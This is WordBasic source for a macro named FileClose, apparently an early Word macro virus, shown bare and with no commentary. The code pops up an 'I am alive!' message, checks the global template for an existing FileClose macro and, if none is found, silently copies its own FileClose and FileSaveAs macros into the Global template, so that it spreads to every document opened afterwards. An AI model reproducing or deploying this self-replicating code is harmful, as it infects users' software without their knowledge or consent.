Macro: FileClose

Sub MAIN
On Error Goto trap
MsgBox "I am alive!", "Activization", 16
infected = 0
normal = CountMacros(0)
If normal > 0 Then
        For count = 1 To normal
                If MacroName$(count, 0, 0) = "FileClose" Then
                        infected = 1
                End If
        Next count
End If
If infected = 0 Then
        MacroCopy FileName$() + ":FileClose", "Global:FileClose"
        MacroCopy FileName$() + ":FileSaveAs", "Global:FileSaveAs"
End If
trap:
FileClose
End Sub